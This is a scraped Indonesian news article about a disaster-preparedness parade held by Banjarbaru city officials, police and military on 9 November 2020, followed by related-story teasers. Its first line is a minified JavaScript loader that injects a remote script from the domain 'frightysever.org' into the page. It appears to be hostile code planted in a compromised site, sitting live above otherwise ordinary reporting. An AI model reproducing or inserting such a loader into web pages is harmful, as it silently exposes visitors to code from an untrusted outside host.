(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru bersama TNI-Polri menggelar apel Satuan Tugas (Satgas) antisipasi dan kesiapsiagaan menangani potensi bencana alam di wilayah kota Banjarbaru, Senin (9/11/2020).
Apel berlangsung di lapangan Murjani dipimpin Sekretaris Daerah Kota (Sekdako) Banjarbaru Said Abdullah. Turut hadir pula Kapolres Banjarbaru AKBP Doni Hadi Santoso dan Dandim 1006 Martapura Letkol Arm Siswo Budiarto.
Sekdako Banjarbaru mengungkapkan bahwa apel ini sangatlah penting untuk mengingatkan potensi kerawanan bencana, sekaligus kesiapansiagaan akan bencana yang setiap saat mengancam masyarakat. Dijelaskannya, potensi bencana yang bisa terjadi di Banjarbaru ialah kebakaran lahan dan hutan (Karhutla), banjir, angin kencang, dan tanah longsor.
“Untuk mewujudkan kota tangguh bencana diperlukan indikator yang tepat dan melibatkan multi stakeholder serta disesuaikan dengan resiko bencana dan karakteristik ancaman,” katanya.
Sekdako menjelaskan seiring dengan pembangunan daerah yang semakin pesat, banyak perubahan yang terjadi, baik fisik maupun ruang wilayah. Hal inilah yang berpotensi mengakibatkan rawan bencana, jika terjadi akan mengganggu aktivitas dalam kehidupan masyarakat.
“Kita patut bersyukur, karena daerah kita tidak masuk dalam peta rawan bencana gempa dan erupsi gunung api. Namun, bencana dan musibah yang ada ini pun sudah cukup merepotkan. Contohnya, bencana banjir di lima kecamatan yang ada di kota Banjarbaru awal tahun tadi, mengakibatkan sarana pendidikan dan permukiman terendam air, kondisi itu sangat memerlukan perhatian kita bersama,” terangnya.
Atas hal itu, Sekdako menegaskan bahwa perlu kembali menyiapsiagakan seluruh perangkat pemerintah dan masyarakat, sekaligus untuk mengingatkan semua bahwa daerah ini berpotensi terdampak bencana setiap musim.
“Apel kesiapsiagaan bencana ini juga merupakan salah satu upaya kita bersama untuk menyiagakan kemampuan yang dimiliki SKPD terkait. Agar penanganan bencana dapat dilaksanakan secara terencana, terkoordinasi dan terpadu sehingga penanganan bencana di daerah kita dapat dikerjakan secara cepat, tepat dan menyeluruh,” lugasnya.
Dalam apel ini, seluruh stakeholder terkait akan melakukan upaya pengurangan resiko bencana dilakukan secara terencana, terpadu dan berkesinambungan, sehingga membutuhkan kerjasama yang sinergis dan terarah.
Langkah kongkrit yang harus dilakukan adalah kesiapsiagaan aparat bersama masyarakat, didukung oleh sarana dan prasarana yang memadai.
Sekdako juga menyampaikan bahwa apel ini merupakan momen tepat dalam rangka cek secara langsung kesiapsiagaan personel, kesiapan sarana prasarana serta cara nanti kalau terjadi bencana, bagaimana cara menanggulanginya. “Tentunya dengan bekal pengalaman dan kita kuatkan lagi dengan apel kesiapsiagaan, sehingga kita sudah siap dalam menanggulanginya,” pungkasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.